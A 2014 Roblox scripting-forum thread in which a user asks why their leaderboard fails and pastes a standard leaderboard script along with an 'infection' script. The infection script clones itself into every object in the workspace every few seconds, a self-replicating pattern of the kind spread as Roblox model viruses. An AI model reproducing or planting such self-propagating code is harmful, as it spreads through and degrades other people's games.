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Re: leaderboard problem

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HotWheels09 is not online. HotWheels09
Joined: 12 Dec 2010
Total Posts: 21
17 Jul 2014 02:36 AM
i have this infection thing it be the problem

but none of the leaderboards are showing up
this is the infection script: if script.Parent.className ~= "RotateP" then
local p = Instance.new("RotateP")
p.Parent = workspace
p.Name = "INfecTION"
script.Parent = p
end

function check()
local list = workspace:GetChildren()
for i = 1, #list do
if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
script.Parent:Clone().Parent = list[i]
end
wait()
end
end

while true do
check()
if workspace:findFirstChild("inFECtion") == nil then
local main = script.Parent:Clone()
main.Name = "inFECtion"
main.Parent = workspace
end
wait(3)
end

now this the leaderboard script:

print("LinkedLeaderboard script version 5.03 loaded")

stands = {}
CTF_mode = false


function onHumanoidDied(humanoid, player)
local stats = player:findFirstChild("leaderstats")
if stats ~= nil then
local deaths = stats:findFirstChild("Wipeouts")
local points = stats:findFirstChild("Points")
deaths.Value = deaths.Value + 1
points.Value = points.Value - 0

-- do short dance to try and find the killer

local killer = getKillerOfHumanoidIfStillInGame(humanoid)

handleKillCount(humanoid, player)
end
end

function onPlayerRespawn(property, player)
-- need to connect to new humanoid

if property == "Character" and player.Character ~= nil then
local humanoid = player.Character.Humanoid
local p = player
local h = humanoid
humanoid.Died:connect(function() onHumanoidDied(h, p) end )
end
end

function getKillerOfHumanoidIfStillInGame(humanoid)
-- returns the player object that killed this humanoid
-- returns nil if the killer is no longer in the game

-- check for kill tag on humanoid - may be more than one - todo: deal with this
local tag = humanoid:findFirstChild("creator")

-- find player with name on tag
if tag ~= nil then

local killer = tag.Value
if killer.Parent ~= nil then -- killer still in game
return killer
end
end

return nil
end

function handleKillCount(humanoid, player)
local killer = getKillerOfHumanoidIfStillInGame(humanoid)
if killer ~= nil then
local Msg = Instance.new("Hint")
Msg.Parent = game.Workspace
local stats = killer:findFirstChild("leaderstats")
if stats ~= nil then
local kills = stats:findFirstChild("KOs")
local points = stats:findFirstChild("Points")
if killer ~= player then
points.Value = points.Value + 15
Msg.Text = killer.Name.. " bloxxed " ..player.Name
kills.Value = kills.Value + 1
game.Lighting.LeaderBoardHintScript:clone().Parent = Msg

else
points.Value = points.Value - 3
Msg:remove()
kills.Value = kills.Value - 1

end
end
end
end


-----------------------------------------------



function findAllFlagStands(root)
local c = root:children()
for i=1,#c do
if (c[i].className == "Model" or c[i].className == "Part") then
findAllFlagStands(c[i])
end
if (c[i].className == "FlagStand") then
table.insert(stands, c[i])
end
end
end

function hookUpListeners()
for i=1,#stands do
stands[i].FlagCaptured:connect(onCaptureScored)
end
end

function onPlayerEntered(newPlayer)

if CTF_mode == true then

local stats = Instance.new("IntValue")
stats.Name = "leaderstats"

local captures = Instance.new("IntValue")
captures.Name = "Captures"
captures.Value = 0


captures.Parent = stats

-- VERY UGLY HACK
-- Will this leak threads?
-- Is the problem even what I think it is (player arrived before character)?
while true do
if newPlayer.Character ~= nil then break end
wait(5)
end

stats.Parent = newPlayer

else

local stats = Instance.new("IntValue")
stats.Name = "leaderstats"

local kills = Instance.new("IntValue")
kills.Name = "KOs"
kills.Value = 0

local points = Instance.new("IntValue")
points.Name = "Points"
points.Value = 5

local deaths = Instance.new("IntValue")
deaths.Name = "Wipeouts"
deaths.Value = 0

points.Parent = stats
kills.Parent = stats
deaths.Parent = stats

-- VERY UGLY HACK
-- Will this leak threads?
-- Is the problem even what I think it is (player arrived before character)?
while true do
if newPlayer.Character ~= nil then break end
wait(5)
end

local humanoid = newPlayer.Character.Humanoid

humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )

-- start to listen for new humanoid
newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )


stats.Parent = newPlayer

end

end


function onCaptureScored(player)

local ls = player:findFirstChild("leaderstats")
if ls == nil then return end
local caps = ls:findFirstChild("Captures")
if caps == nil then return end
caps.Value = caps.Value + 1

end


findAllFlagStands(game.Workspace)
hookUpListeners()
if (#stands > 0) then CTF_mode = true end
game.Players.ChildAdded:connect(onPlayerEntered)



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BLOXLUA is not online. BLOXLUA
Joined: 16 Mar 2013
Total Posts: 453
17 Jul 2014 02:50 AM
Please don't just steal someone else's code, thank you.
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HotWheels09 is not online. HotWheels09
Joined: 12 Dec 2010
Total Posts: 21
17 Jul 2014 04:59 AM
will anyone will actually help i need to know it's for my brother.
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HotWheels09 is not online. HotWheels09
Joined: 12 Dec 2010
Total Posts: 21
17 Jul 2014 05:34 AM
it's suppose to have ko's wo's so i can give player points sometimes it's said credits or nothing
Report Abuse
mehkamu21 is not online. mehkamu21
Joined: 10 Feb 2012
Total Posts: 1492
17 Jul 2014 08:45 AM
I looked over it and it doesn't seem broken
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